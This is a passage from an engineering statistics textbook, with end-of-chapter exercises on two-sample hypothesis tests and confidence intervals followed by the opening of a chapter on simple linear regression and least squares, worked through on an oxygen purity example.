10-77. A liquid dietary product implies in its advertising that use of the product for one month results in an average weight loss of at least 3 pounds. Eight subjects use the product for one month, and the resulting weight loss data are reported below. Use hypothesis-testing procedures to answer the following questions.

Subject	Initial Weight (lb)	Final Weight (lb)
1	165	161
2	201	195
3	195	192
4	198	193
5	155	150
6	143	141
7	150	146
8	187	183

(a) Do the data support the claim of the producer of the dietary product with the probability of a type I error set to 0.05?
(b) Do the data support the claim of the producer of the dietary product with the probability of a type I error set to 0.01?
(c) In an effort to improve sales, the producer is considering changing its claim from "at least 3 pounds" to "at least 5 pounds." Repeat parts (a) and (b) to test this new claim.

10-78. The breaking strength of yarn supplied by two manufacturers is being investigated. We know from experience with the manufacturers' processes that $\sigma_1 = 5$ psi and $\sigma_2 = 4$ psi. A random sample of 20 test specimens from each manufacturer results in $\bar{x}_1 = 88$ psi and $\bar{x}_2 = 91$ psi, respectively.
(a) Using a 90% confidence interval on the difference in mean breaking strength, comment on whether or not there is evidence to support the claim that manufacturer 2 produces yarn with higher mean breaking strength.
(b) Using a 98% confidence interval on the difference in mean breaking strength, comment on whether or not there is evidence to support the claim that manufacturer 2 produces yarn with higher mean breaking strength.
(c) Comment on why the results from parts (a) and (b) are different or the same. Which would you choose to make your decision and why?

10-79. The Salk polio vaccine experiment in 1954 focused on the effectiveness of the vaccine in combating paralytic polio. Because it was felt that without a control group of children there would be no sound basis for evaluating the efficacy of the Salk vaccine, the vaccine was administered to one group, and a placebo (visually identical to the vaccine but known to have no effect) was administered to a second group. For ethical reasons, and because it was suspected that knowledge of vaccine administration would affect subsequent diagnoses, the experiment was conducted in a double-blind fashion. That is, neither the subjects nor the administrators knew who received the vaccine and who received the placebo. The actual data for this experiment are as follows:

Placebo group: $n = 201{,}299$: 110 cases of polio observed

Vaccine group: $n = 200{,}745$: 33 cases of polio observed

(a) Use a hypothesis-testing procedure to determine if the proportion of children in the two groups who contracted paralytic polio is statistically different. Use a probability of a type I error equal to 0.05.
(b) Repeat part (a) using a probability of a type I error equal to 0.01.
(c) Compare your conclusions from parts (a) and (b) and explain why they are the same or different.

10-80. Consider Supplemental Exercise 10-78. Suppose that prior to collecting the data, you decide that you want the error in estimating $\mu_1 - \mu_2$ by $\bar{x}_1 - \bar{x}_2$ to be less than 1.5 psi. Specify the sample size for the following percentage confidence:
(a) 90%
(b) 98%
(c) Comment on the effect of increasing the percentage confidence on the sample size needed.
(d) Repeat parts (a)–(c) with an error of less than 0.75 psi instead of 1.5 psi.
(e) Comment on the effect of decreasing the error on the sample size needed.

10-81. A random sample of 1500 residential telephones in Phoenix in 1990 found that 387 of the numbers were unlisted. A random sample in the same year of 1200 telephones in Scottsdale found that 310 were unlisted.
(a) Find a 95% confidence interval on the difference in the two proportions and use this confidence interval to determine if there is a statistically significant difference in proportions of unlisted numbers between the two cities.
(b) Find a 90% confidence interval on the difference in the two proportions and use this confidence interval to determine if there is a statistically significant difference in proportions of unlisted numbers between the two cities.
(c) Suppose that all the numbers in the problem description were doubled. That is, 774 residents out of 3000 sampled in Phoenix and 620 residents out of 2400 in Scottsdale had unlisted phone numbers. Repeat parts (a) and (b) and comment on the effect of increasing the sample size without changing the proportions on your results.

10-82. In a random sample of 200 Phoenix residents who drive a domestic car, 165 reported wearing their seat belt regularly, while another sample of 250 Phoenix residents who drive a foreign car revealed 198 who regularly wore their seat belt.
(a) Perform a hypothesis-testing procedure to determine if there is a statistically significant difference in seat belt usage between domestic and foreign car drivers. Set your probability of a type I error to 0.05.
(b) Perform a hypothesis-testing procedure to determine if there is a statistically significant difference in seat belt usage between domestic and foreign car drivers. Set your probability of a type I error to 0.1.
(c) Compare your answers for parts (a) and (b) and explain why they are the same or different.
(d) Suppose that all the numbers in the problem description were doubled. That is, in a random sample of 400 Phoenix residents who drive a domestic car, 330 reported wearing their seat belt regularly, while another sample of 500 Phoenix residents who drive a foreign car revealed 396 who regularly wore their seat belt. Repeat parts (a) and (b) and comment on the effect of increasing the sample size without changing the proportions on your results.

10-83. Consider the previous exercise, which summarized data collected from drivers about their seat belt usage.
(a) Do you think there is a reason not to believe these data? Explain your answer.
(b) Is it reasonable to use the hypothesis-testing results from the previous problem to draw an inference about the difference in proportion of seat belt usage
  (i) of the spouses of these drivers of domestic and foreign cars? Explain your answer.
  (ii) of the children of these drivers of domestic and foreign cars? Explain your answer.
  (iii) of all drivers of domestic and foreign cars? Explain your answer.
  (iv) of all drivers of domestic and foreign trucks? Explain your answer.

10-84. A manufacturer of a new pain relief tablet would like to demonstrate that its product works twice as fast as the competitor's product. Specifically, the manufacturer would like to test

$$H_0: \mu_1 = 2\mu_2$$
$$H_1: \mu_1 > 2\mu_2$$

where μ_1 is the mean absorption time of the competitive product and μ_2 is the mean absorption time of the new product. Assuming that the variances σ_1^2 and σ_2^2 are known, develop a procedure for testing this hypothesis.

10-85. Two machines are used to fill plastic bottles with dishwashing detergent. The standard deviations of fill volume are known to be $\sigma_1 = 0.10$ fluid ounces and $\sigma_2 = 0.15$ fluid ounces for the two machines, respectively. Two random samples of $n_1 = 12$ bottles from machine 1 and $n_2 = 10$ bottles from machine 2 are selected, and the sample mean fill volumes are

$\bar{x}_1 = 30.87$ fluid ounces and $\bar{x}_2 = 30.68$ fluid ounces. Assume normality.

(a) Construct a 90% two-sided confidence interval on the mean difference in fill volume. Interpret this interval.

(b) Construct a 95% two-sided confidence interval on the mean difference in fill volume. Compare and comment on the width of this interval to the width of the interval in part (a).

(c) Construct a 95% upper-confidence interval on the mean difference in fill volume. Interpret this interval.

(d) Test the hypothesis that both machines fill to the same mean volume. Use $\alpha = 0.05$. What is the P-value?

(e) If the β-error of the test when the true difference in fill volume is 0.2 fluid ounces should not exceed 0.1, what sample sizes must be used? Use $\alpha = 0.05$.

10-86. Suppose that we are testing H_0: $\mu_1 = \mu_2$ versus $H_1: \mu_1 \neq \mu_2$, and we plan to use equal sample sizes from the two populations. Both populations are assumed to be normal with unknown but equal variances. If we use $\alpha = 0.05$ and if the true mean $\mu_1 = \mu_2 + \sigma$, what sample size must be used for the power of this test to be at least 0.90?

10-87. Consider the situation described in Exercise 10-71.

(a) Redefine the parameters of interest to be the proportion of lenses that are unsatisfactory following tumble polishing with polishing fluids 1 or 2. Test the hypothesis that the two polishing solutions give different results using $\alpha = 0.01$.

(b) Compare your answer in part (a) with that for Exercise 10-71. Explain why they are the same or different.

(c) We wish to use $\alpha = 0.01$. Suppose that if $p_1 = 0.9$ and $p_2 = 0.6$, we wish to detect this with a high probability, say, at least 0.9. What sample sizes are required to meet this objective?

10-88. Consider the fire-fighting foam expanding agents investigated in Exercise 10-16, in which five observations of each agent were recorded. Suppose that, if agent 1 produces a mean expansion that differs from the mean expansion of agent 1 by 1.5, we would like to reject the null hypothesis with probability at least 0.95.

(a) What sample size is required?

(b) Do you think that the original sample size in Exercise 10-16 was appropriate to detect this difference? Explain your answer.

10-89. A fuel-economy study was conducted for two German automobiles, Mercedes and Volkswagen. One vehicle of each brand was selected, and the mileage performance was observed for 10 tanks of fuel in each car. The data are as follows (in miles per gallon):

Mercedes		Volkswagen	
24.7	24.9	41.7	42.8
24.8	24.6	42.3	42.4
24.9	23.9	41.6	39.9
24.7	24.9	39.5	40.8
24.5	24.8	41.9	29.6

(a) Construct a normal probability plot of each of the data sets. Based on these plots, is it reasonable to assume that they are each drawn from a normal population?

(b) Suppose that it was determined that the lowest observation of the Mercedes data was erroneously recorded and should be 24.6. Furthermore, the lowest observation of the Volkswagen data was also mistaken and should be 39.6. Again construct normal probability plots of each of the data sets with the corrected values. Based on these new plots, is it reasonable to assume that they are each drawn from a normal population?

(c) Compare your answers from parts (a) and (b) and comment on the effect of these mistaken observations on the normality assumption.

(d) Using the corrected data from part (b) and a 95% confidence interval, is there evidence to support the claim that the variability in mileage performance is greater for a Volkswagen than for a Mercedes?

(e) Rework part (d) of this problem using an appropriate hypothesis-testing procedure. Did you get the same answer as you did originally? Why?

10-90. An experiment was conducted to compare the filling capability of packaging equipment at two different wineries. Ten bottles of pinot noir from Ridgecrest Vineyards were randomly selected and measured, along with 10 bottles of pinot noir from Valley View Vineyards. The data are as follows (fill volume is in milliliters):

Ridgecrest				Valley View			
755	751	752	753	756	754	757	756
753	753	753	754	755	756	756	755
752	751			755	756		

(a) What assumptions are necessary to perform a hypothesis-testing procedure for equality of means of these data? Check these assumptions.

(b) Perform the appropriate hypothesis-testing procedure to determine whether the data support the claim that both wineries will fill bottles to the same mean volume.

(c) Suppose that the true difference in mean fill volume is as much as 2 fluid ounces; did the sample sizes of 10 from each vineyard provide good detection capability when $\alpha = 0.05$? Explain your answer.

10-91. A Rockwell hardness-testing machine presses a tip into a test coupon and uses the depth of the resulting depression to indicate hardness. Two different tips are being compared to determine whether they provide the same Rockwell C-scale hardness readings. Nine coupons are tested, with both tips being tested on each coupon. The data are shown in the accompanying table.

(a) State any assumptions necessary to test the claim that both tips produce the same Rockwell C-scale hardness readings. Check those assumptions for which you have the information.

Coupon	Tip 1	Tip 2	Coupon	Tip 1	Tip 2
1	47	46	6	41	41
2	42	40	7	45	46
3	43	45	8	45	46
4	40	41	9	49	48
5	42	43			

(b) Apply an appropriate statistical method to determine if the data support the claim that the difference in Rockwell C-scale hardness readings of the two tips is significantly different from zero.

(c) Suppose that if the two tips differ in mean hardness readings by as much as 1.0, we want the power of the test to be at least 0.9. For an $\alpha = 0.01$, how many coupons should have been used in the test?

10-92. Two different gauges can be used to measure the depth of bath material in a Hall cell used in smelting aluminum. Each gauge is used once in 15 cells by the same operator.

Cell	Gauge 1	Gauge 2	Cell	Gauge 1	Gauge 2
1	46 in.	47 in.	9	52	51
2	50	53	10	47	45
3	47	45	11	49	51
4	53	50	12	45	45
5	49	51	13	47	49
6	48	48	14	46	43
7	53	54	15	50	51
8	56	53			

(a) State any assumptions necessary to test the claim that both gauges produce the same mean bath depth readings. Check those assumptions for which you have the information.

(b) Apply an appropriate statistical procedure to determine if the data support the claim that the two gauges produce different mean bath depth readings.

(c) Suppose that if the two gauges differ in mean bath depth readings by as much as 1.65 inch, we want the power of the test to be at least 0.8. For $\alpha = 0.01$, how many cells should have been used?

10-93. An article in the *Journal of the Environmental Engineering Division* ["Distribution of Toxic Substances in Rivers" (1982, Vol. 108, pp. 639–649)] investigated the concentration of several hydrophobic organic substances in the Wolf River in Tennessee. Measurements on hexachlorobenzene (HCB) in nanograms per liter were taken at different depths downstream of an abandoned dump site. Data for two depths follow:

Surface: 3.74, 4.61, 4.00, 4.67, 4.87, 5.12, 4.52, 5.29, 5.74, 5.48
Bottom: 5.44, 6.88, 5.37, 5.44, 5.03, 6.48, 3.89, 5.85, 6.85, 7.16

(a) What assumptions are required to test the claim that mean HCB concentration is the same at both depths? Check those assumptions for which you have the information.

(b) Apply an appropriate procedure to determine if the data support the claim in part a.

(c) Suppose that the true difference in mean concentrations is 2.0 nanograms per liter. For $\alpha = 0.05$, what is the power of a statistical test for H_0: $\mu_1 = \mu_2$ versus H_1: $\mu_1 \neq \mu_2$?

(d) What sample size would be required to detect a difference of 1.0 nanograms per liter at $\alpha = 0.05$ if the power must be at least 0.9?

MIND-EXPANDING EXERCISES

10-94. Three different pesticides can be used to control infestation of grapes. It is suspected that pesticide 3 is more effective than the other two. In a particular vineyard, three different plantings of pinot noir grapes are selected for study. The following results on yield are obtained:

Pesticide	$\bar{x}_i$ (Bushels/Plant)	s_i	n_i (Number of Plants)
1	4.6	0.7	100
2	5.2	0.6	120
3	6.1	0.8	130

If μ_i is the true mean yield after treatment with the ith pesticide, we are interested in the quantity

$$\mu = \frac{1}{2}(\mu_1 + \mu_2) - \mu_3$$

which measures the difference in mean yields between pesticides 1 and 2 and pesticide 3. If the sample sizes n_i are large, the estimator (say, $\hat{\mu}$) obtained by replacing each individual μ_i by $\bar{X}_i$ is approximately normal.

(a) Find an approximate $100(1 - \alpha)\%$ large-sample confidence interval for μ.

MIND-EXPANDING EXERCISES

(b) Do these data support the claim that pesticide 3 is more effective than the other two? Use $\alpha = 0.05$ in determining your answer.

10-95. Suppose that we wish to test H_0: $\mu_1 = \mu_2$ versus H_1: $\mu_1 \neq \mu_2$, where σ_1^2 and σ_2^2 are known. The total sample size N is to be determined, and the allocation of observations to the two populations such that $n_1 + n_2 = N$ is to be made on the basis of cost. If the cost of sampling for populations 1 and 2 are C_1 and C_2, respectively, find the minimum cost sample sizes that provide a specified variance for the difference in sample means.

10-96. Suppose that we wish to test the hypothesis H_0: $\mu_1 = \mu_2$ versus H_1: $\mu_1 \neq \mu_2$, where both variances σ_1^2 and σ_2^2 are known. A total of $n_1 + n_2 = N$ observations can be taken. How should these observations be allocated to the two populations to maximize the probability that H_0 will be rejected if H_1 is true and $\mu_1 - \mu_2 = \Delta \neq 0$?

10-97. Suppose that we wish to test H_0: $\mu = \mu_0$ versus H_1: $\mu \neq \mu_0$, where the population is normal with known σ. Let $0 < \epsilon < \alpha$, and define the critical region so that we will reject H_0 if $z_0 > z_\epsilon$ or if $z_0 < -z_{\alpha-\epsilon}$, where z_0 is the value of the usual test statistic for these hypotheses.

(a) Show that the probability of type I error for this test is α.

(b) Suppose that the true mean is $\mu_1 = \mu_0 + \Delta$. Derive an expression for β for the above test.

10-98. Construct a data set for which the paired t-test statistic is very large, indicating that when this analysis is used the two population means are different, but t_0 for the two-sample t-test is very small so that the incorrect analysis would indicate that there is no significant difference between the means.

10-99. In some situations involving proportions, we are interested in the ratio $\theta = p_1/p_2$ rather than the difference $p_1 - p_2$. Let $\hat{\theta} = \hat{p}_1/\hat{p}_2$. We can show that $\ln(\hat{\theta})$ has an approximate normal distribution with the mean (n/θ) and variance $[(n_1 - x_1)/(n_1x_1) + (n_2 - x_2)/(n_2x_2)]^{1/2}$.

(a) Use the information above to derive a large-sample confidence interval for $\ln \theta$.

(b) Show how to find a large-sample CI for θ.

(c) Use the data from the St. John's Wort study in Example 10-15, and find a 95% CI on $\theta = p_1/p_2$. Provide a practical interpretation for this CI.

10-100. Derive an expression for β for the test of the equality of the variances of two normal distributions. Assume that the two-sided alternative is specified.

IMPORTANT TERMS AND CONCEPTS

Comparative experiments
Confidence intervals on differences and ratios
Critical region for a test statistic
Identifying cause and effect
Null and alternative hypotheses
One-sided and two-sided alternative hypotheses
Operating characteristic curves
Paired t-test
Pooled t-test
P-value
Reference distribution for a test statistic
Sample size determination for hypothesis tests and confidence intervals
Statistical hypotheses
Test statistic
Wilcoxon rank-sum test

11

(15 July 2009)—Space Shuttle Endeavour and its seven-member STS-127 crew head toward Earth orbit and rendezvous with the International Space Station
Courtesy NASA

Simple Linear Regression and Correlation

The space shuttle *Challenger* accident in January 1986 was the result of the failure of O-rings used to seal field joints in the solid rocket motor due to the extremely low ambient temperatures at the time of launch. Prior to the launch there were data on the occurrence of O-ring failure and the corresponding temperature on 24 prior launches or static firings of the motor. In this chapter we will see how to build a statistical model relating the probability of O-ring failure to temperature. This model provides a measure of the risk associated with launching the shuttle at the low temperature occurring when *Challenger* was launched.

CHAPTER OUTLINE

11-1 EMPIRICAL MODELS

11-2 SIMPLE LINEAR REGRESSION

11-3 PROPERTIES OF THE LEAST SQUARES ESTIMATORS

11-4 HYPOTHESIS TESTS IN SIMPLE LINEAR REGRESSION

- 11-4.1 Use of *t*-Tests
- 11-4.2 Analysis of Variance Approach to Test Significance of Regression

11-5 CONFIDENCE INTERVALS

- 11-5.1 Confidence Intervals on the Slope and Intercept
- 11-5.2 Confidence Interval on the Mean Response

11-6 PREDICTION OF NEW OBSERVATIONS

11-7 ADEQUACY OF THE REGRESSION MODEL

- 11-7.1 Residual Analysis
- 11-7.2 Coefficient of Determination (R^2)

11-8 CORRELATION

11-9 REGRESSION ON TRANSFORMED VARIABLES

11-10 LOGISTIC REGRESSION

LEARNING OBJECTIVES

After careful study of this chapter, you should be able to do the following:

1. **Use simple linear regression for building empirical models to engineering and scientific data**
2. **Understand how the method of least squares is used to estimate the parameters in a linear regression model**
3. **Analyze residuals to determine if the regression model is an adequate fit to the data or to see if any underlying assumptions are violated**
4. **Test statistical hypotheses and construct confidence intervals on regression model parameters**
5. **Use the regression model to make a prediction of a future observation and construct an appropriate prediction interval on the future observation**
6. **Apply the correlation model**
7. **Use simple transformations to achieve a linear regression model**

11-1 EMPIRICAL MODELS

Many problems in engineering and the sciences involve a study or analysis of the relationship between two or more variables. For example, the pressure of a gas in a container is related to the temperature, the velocity of water in an open channel is related to the width of the channel, and the displacement of a particle at a certain time is related to its velocity. In this last example, if we let d_0 be the displacement of the particle from the origin at time $t = 0$ and v be the velocity, then the displacement at time t is $d_t = d_0 + vt$. This is an example of a **deterministic** linear relationship, because (apart from measurement errors) the model predicts displacement perfectly.

However, there are many situations where the relationship between variables is not deterministic. For example, the electrical energy consumption of a house (y) is related to the size of the house (x, in square feet), but it is unlikely to be a deterministic relationship. Similarly, the fuel usage of an automobile (y) is related to the vehicle weight x, but the relationship is not a deterministic one. In both of these examples the value of the response of interest y (energy consumption, fuel usage) cannot be predicted perfectly from knowledge of the corresponding x. It is possible for different automobiles to have different fuel usage even if they weigh the same, and it is possible for different houses to use different amounts of electricity even if they are the same size.

The collection of statistical tools that are used to model and explore relationships between variables that are related in a nondeterministic manner is called **regression analysis**. Because problems of this type occur so frequently in many branches of engineering and science, regression analysis is one of the most widely used statistical tools. In this chapter we present the situation where there is only one independent or predictor variable x and the relationship with the response y is assumed to be linear. While this seems to be a simple scenario, there are many practical problems that fall into this framework.

For example, in a chemical process, suppose that the yield of the product is related to the process-operating temperature. Regression analysis can be used to build a model to predict yield at a given temperature level. This model can also be used for process optimization, such as finding the level of temperature that maximizes yield, or for process control purposes.

As an illustration, consider the data in Table 11-1. In this table y is the purity of oxygen produced in a chemical distillation process, and x is the percentage of hydrocarbons that are present in the main condenser of the distillation unit. Figure 11-1 presents a **scatter diagram** of the data in Table 11-1. This is just a graph on which each (x_i, y_i) pair is represented as a point plotted in a two-dimensional coordinate system. This scatter diagram was produced by Minitab, and we selected an option that shows dot diagrams of the x and y variables along the top and right margins of the graph, respectively, making it easy to see the distributions of the individual variables (box plots or histograms could also be selected). Inspection of this scatter diagram indicates that, although no simple curve will pass exactly through all the points, there is a strong indication that the points lie scattered randomly around a straight line. Therefore, it is probably reasonable to assume that the mean of the random variable Y is related to x by the following straight-line relationship:

$$E(Y|x) = \mu_{Y|x} = \beta_0 + \beta_1 x$$

where the slope and intercept of the line are called **regression coefficients.** While the mean of Y is a linear function of x, the actual observed value y does not fall exactly on a straight line. The appropriate way to generalize this to a probabilistic linear model is to assume that the expected value of Y is a linear function of x, but that for a fixed value of x the actual value of Y is determined by the mean value function (the linear model) plus a random error term, say,

$$Y = \beta_0 + \beta_1 x + \epsilon \tag{11-1}$$

Table 11-1 Oxygen and Hydrocarbon Levels

Observation Number	Hydrocarbon Level x (%)	Purity y (%)
1	0.99	90.01
2	1.02	89.05
3	1.15	91.43
4	1.29	93.74
5	1.46	96.73
6	1.36	94.45
7	0.87	87.59
8	1.23	91.77
9	1.55	99.42
10	1.40	93.65
11	1.19	93.54
12	1.15	92.52
13	0.98	90.56
14	1.01	89.54
15	1.11	89.85
16	1.20	90.39
17	1.26	93.25
18	1.32	93.41
19	1.43	94.98
20	0.95	87.33

Figure 11-1 Scatter diagram of oxygen purity versus hydrocarbon level from Table 11-1.

where ϵ is the random error term. We will call this model the **simple linear regression model,** because it has only one independent variable or **regressor.** Sometimes a model like this will arise from a theoretical relationship. At other times, we will have no theoretical knowledge of the relationship between x and y, and the choice of the model is based on inspection of a scatter diagram, such as we did with the oxygen purity data. We then think of the regression model as an **empirical model.**

To gain more insight into this model, suppose that we can fix the value of x and observe the value of the random variable Y. Now if x is fixed, the random component ϵ on the right-hand side of the model in Equation 11-1 determines the properties of Y. Suppose that the mean and variance of ϵ are 0 and σ^2, respectively. Then,

$$E(Y|x) = E(\beta_0 + \beta_1 x + \epsilon) = \beta_0 + \beta_1 x + E(\epsilon) = \beta_0 + \beta_1 x$$

Notice that this is the same relationship that we initially wrote down empirically from inspection of the scatter diagram in Fig. 11-1. The variance of Y given x is

$$V(Y|x) = V(\beta_0 + \beta_1 x + \epsilon) = V(\beta_0 + \beta_1 x) + V(\epsilon) = 0 + \sigma^2 = \sigma^2$$

Thus, the true regression model $\mu_{Y|x} = \beta_0 + \beta_1 x$ is a line of mean values; that is, the height of the regression line at any value of x is just the expected value of Y for that x. The slope, β_1, can be interpreted as the change in the mean of Y for a unit change in x. Furthermore, the variability of Y at a particular value of x is determined by the error variance σ^2. This implies that there is a distribution of Y-values at each x and that the variance of this distribution is the same at each x.

For example, suppose that the true regression model relating oxygen purity to hydrocarbon level is $\mu_{Y|x} = 75 + 15x$, and suppose that the variance is $\sigma^2 = 2$. Figure 11-2 illustrates this situation. Notice that we have used a normal distribution to describe the random variation in ϵ. Since Y is the sum of a constant $\beta_0 + \beta_1 x$ (the mean) and a normally distributed random variable, Y is a normally distributed random variable. The variance σ^2 determines the variability in the observations Y on oxygen purity. Thus, when σ^2 is small, the observed values of Y will fall close to the line, and when σ^2 is large, the observed values of Y may deviate considerably from the line. Because σ^2 is constant, the variability in Y at any value of x is the same.

The regression model describes the relationship between oxygen purity Y and hydrocarbon level x. Thus, for any value of hydrocarbon level, oxygen purity has a normal distribution

Figure 11-2 The distribution of Y for a given value of x for the oxygen purity–hydrocarbon data.

with mean $75 + 15x$ and variance 2. For example, if $x = 1.25$, Y has mean value $\mu_{Y|x} = 75 + 15(1.25) = 93.75$ and variance 2.

In most real-world problems, the values of the intercept and slope (β_0, β_1) and the error variance σ^2 will not be known, and they must be estimated from sample data. Then this fitted regression equation or model is typically used in prediction of future observations of Y, or for estimating the mean response at a particular level of x. To illustrate, a chemical engineer might be interested in estimating the mean purity of oxygen produced when the hydrocarbon level is $x = 1.25\%$. This chapter discusses such procedures and applications for the simple linear regression model. Chapter 12 will discuss multiple linear regression models that involve more than one regressor.

Historical Note

Sir Francis Galton first used the term **regression analysis** in a study of the heights of fathers (x) and sons (y). Galton fit a least squares line and used it to predict the son's height from the father's height. He found that if a father's height was above average, the son's height would also be above average, but not by as much as the father's height was. A similar effect was observed for below average heights. That is, the son's height "regressed" toward the average. Consequently, Galton referred to the least squares line as a **regression line.**

Abuses of Regression

Regression is widely used and frequently misused; several common abuses of regression are briefly mentioned here. Care should be taken in selecting variables with which to construct regression equations and in determining the form of the model. It is possible to develop statistically significant relationships among variables that are completely unrelated in a **causal** sense. For example, we might attempt to relate the shear strength of spot welds with the number of empty parking spaces in the visitor parking lot. A straight line may even appear to provide a good fit to the data, but the relationship is an unreasonable one on which to rely. You can't increase the weld strength by blocking off parking spaces. A strong observed association between variables does not necessarily imply that a causal relationship exists between those variables. This type of effect is encountered fairly often in retrospective data analysis, and even in observational studies. **Designed experiments** are the only way to determine cause-and-effect relationships.

Regression relationships are valid only for values of the regressor variable within the range of the original data. The linear relationship that we have tentatively assumed may be valid over the original range of x, but it may be unlikely to remain so as we extrapolate—that is, if we use values of x beyond that range. In other words, as we move beyond the range of values of x for which data were collected, we become less certain about the validity of the assumed model. Regression models are not necessarily valid for extrapolation purposes.

Now this does not mean *don't ever extrapolate*. There are many problem situations in science and engineering where extrapolation of a regression model is the only way to even approach the problem. However, there is a strong warning to **be careful.** A modest extrapolation may be perfectly all right in many cases, but a large extrapolation will almost never produce acceptable results.

11-2 SIMPLE LINEAR REGRESSION

The case of **simple linear regression** considers a single **regressor variable** or **predictor variable** x and a dependent or **response variable** Y. Suppose that the true relationship between Y and x is a straight line and that the observation Y at each level of x is a random variable. As noted

previously, the expected value of Y for each value of x is

$$E(Y|x) = \beta_0 + \beta_1 x$$

where the intercept β_0 and the slope β_1 are unknown regression coefficients. We assume that each observation, Y, can be described by the model

$$Y = \beta_0 + \beta_1 x + \epsilon \tag{11-2}$$

where ϵ is a random error with mean zero and (unknown) variance σ^2. The random errors corresponding to different observations are also assumed to be uncorrelated random variables.

Suppose that we have n pairs of observations $(x_1, y_1), (x_2, y_2), \ldots, (x_n, y_n)$. Figure 11-3 shows a typical scatter plot of observed data and a candidate for the estimated regression line. The estimates of β_0 and β_1 should result in a line that is (in some sense) a "best fit" to the data. The German scientist Karl Gauss (1777–1855) proposed estimating the parameters β_0 and β_1 in Equation 11-2 to minimize the sum of the squares of the vertical deviations in Fig. 11-3.

We call this criterion for estimating the regression coefficients the method of **least squares.** Using Equation 11-2, we may express the n observations in the sample as

$$y_i = \beta_0 + \beta_1 x_i + \epsilon_i, \qquad i = 1, 2, \ldots, n \tag{11-3}$$

and the sum of the squares of the deviations of the observations from the true regression line is

$$L = \sum_{i=1}^{n} \epsilon_i^2 = \sum_{i=1}^{n} (y_i - \beta_0 - \beta_1 x_i)^2 \tag{11-4}$$

The least squares estimators of β_0 and β_1, say, $\hat{\beta}_0$ and $\hat{\beta}_1$, must satisfy

$$\begin{aligned} \left.\frac{\partial L}{\partial \beta_0}\right|_{\hat{\beta}_0, \hat{\beta}_1} &= -2\sum_{i=1}^{n} (y_i - \hat{\beta}_0 - \hat{\beta}_1 x_i) = 0 \\ \left.\frac{\partial L}{\partial \beta_1}\right|_{\hat{\beta}_0, \hat{\beta}_1} &= -2\sum_{i=1}^{n} (y_i - \hat{\beta}_0 - \hat{\beta}_1 x_i) x_i = 0 \end{aligned} \tag{11-5}$$

Figure 11-3 Deviations of the data from the estimated regression model.

Simplifying these two equations yields

$$n\hat{\beta}_0 + \hat{\beta}_1 \sum_{i=1}^{n} x_i = \sum_{i=1}^{n} y_i$$

$$\hat{\beta}_0 \sum_{i=1}^{n} x_i + \hat{\beta}_1 \sum_{i=1}^{n} x_i^2 = \sum_{i=1}^{n} y_i x_i \tag{11-6}$$

Equations 11-6 are called the **least squares normal equations.** The solution to the normal equations results in the least squares estimators $\hat{\beta}_0$ and $\hat{\beta}_1$.

Least Squares Estimates

The **least squares estimates** of the intercept and slope in the simple linear regression model are

$$\hat{\beta}_0 = \bar{y} - \hat{\beta}_1 \bar{x} \tag{11-7}$$

$$\hat{\beta}_1 = \frac{\sum_{i=1}^{n} y_i x_i - \dfrac{\left(\sum_{i=1}^{n} y_i\right)\left(\sum_{i=1}^{n} x_i\right)}{n}}{\sum_{i=1}^{n} x_i^2 - \dfrac{\left(\sum_{i=1}^{n} x_i\right)^2}{n}} \tag{11-8}$$

where $\bar{y} = (1/n)\sum_{i=1}^{n} y_i$ and $\bar{x} = (1/n)\sum_{i=1}^{n} x_i$.

The **fitted** or **estimated regression line** is therefore

$$\hat{y} = \hat{\beta}_0 + \hat{\beta}_1 x \tag{11-9}$$

Note that each pair of observations satisfies the relationship

$$y_i = \hat{\beta}_0 + \hat{\beta}_1 x_i + e_i, \qquad i = 1, 2, \ldots, n$$

where $e_i = y_i - \hat{y}_i$ is called the **residual.** The residual describes the error in the fit of the model to the ith observation y_i. Later in this chapter we will use the residuals to provide information about the adequacy of the fitted model.

Notationally, it is occasionally convenient to give special symbols to the numerator and denominator of Equation 11-8. Given data $(x_1, y_1), (x_2, y_2), \ldots, (x_n, y_n)$, let

$$S_{xx} = \sum_{i=1}^{n} (x_i - \bar{x})^2 = \sum_{i=1}^{n} x_i^2 - \frac{\left(\sum_{i=1}^{n} x_i\right)^2}{n} \tag{11-10}$$

and

$$S_{xy} = \sum_{i=1}^{n} (y_i - \bar{y})(x_i - \bar{x}) = \sum_{i=1}^{n} x_i y_i - \frac{\left(\sum_{i=1}^{n} x_i\right)\left(\sum_{i=1}^{n} y_i\right)}{n} \tag{11-11}$$

EXAMPLE 11-1 Oxygen Purity

We will fit a simple linear regression model to the oxygen purity data in Table 11-1. The following quantities may be computed:

$$n = 20 \quad \sum_{i=1}^{20} x_i = 23.92 \quad \sum_{i=1}^{20} y_i = 1{,}843.21$$

$$\bar{x} = 1.1960 \quad \bar{y} = 92.1605$$

$$\sum_{i=1}^{20} y_i^2 = 170{,}044.5321 \quad \sum_{i=1}^{20} x_i^2 = 29.2892$$

$$\sum_{i=1}^{20} x_i y_i = 2{,}214.6566$$

$$S_{xx} = \sum_{i=1}^{20} x_i^2 - \frac{\left(\sum_{i=1}^{20} x_i\right)^2}{20} = 29.2892 - \frac{(23.92)^2}{20}$$
$$= 0.68088$$

and

$$S_{xy} = \sum_{i=1}^{20} x_i y_i - \frac{\left(\sum_{i=1}^{20} x_i\right)\left(\sum_{i=1}^{20} y_i\right)}{20}$$
$$= 2{,}214.6566 - \frac{(23.92)(1{,}843.21)}{20} = 10.17744$$

Therefore, the least squares estimates of the slope and intercept are

$$\hat{\beta}_1 = \frac{S_{xy}}{S_{xx}} = \frac{10.17744}{0.68088} = 14.94748$$

and

$$\hat{\beta}_0 = \bar{y} - \hat{\beta}_1\bar{x} = 92.1605 - (14.94748)1.196 = 74.28331$$

The fitted simple linear regression model (with the coefficients reported to three decimal places) is

$$\hat{y} = 74.283 + 14.947x$$

This model is plotted in Fig. 11-4, along with the sample data.

Practical Interpretation: Using the regression model, we would predict oxygen purity of $\hat{y} = 89.23\%$ when the hydrocarbon level is $x = 1.00\%$. The purity 89.23% may be interpreted as an estimate of the true population mean purity when $x = 1.00\%$, or as an estimate of a new observation when $x = 1.00\%$. These estimates are, of course, subject to error; that is, it is unlikely that a future observation on purity would be exactly 89.23% when the hydrocarbon level is 1.00%. In subsequent sections we will see how to use confidence intervals and prediction intervals to describe the error in estimation from a regression model.

Computer software programs are widely used in regression modeling. These programs typically carry more decimal places in the calculations. Table 11-2 shows a portion of the output from Minitab for this problem. The estimates $\hat{\beta}_0$ and $\hat{\beta}_1$ are highlighted. In subsequent sections we will provide explanations for the information provided in this computer output.

Figure 11-4 Scatter plot of oxygen purity y versus hydrocarbon level x and regression model $\hat{y} = 74.283 + 14.947x$.

Table 11-2 Minitab Output for the Oxygen Purity Data in Example 11-1

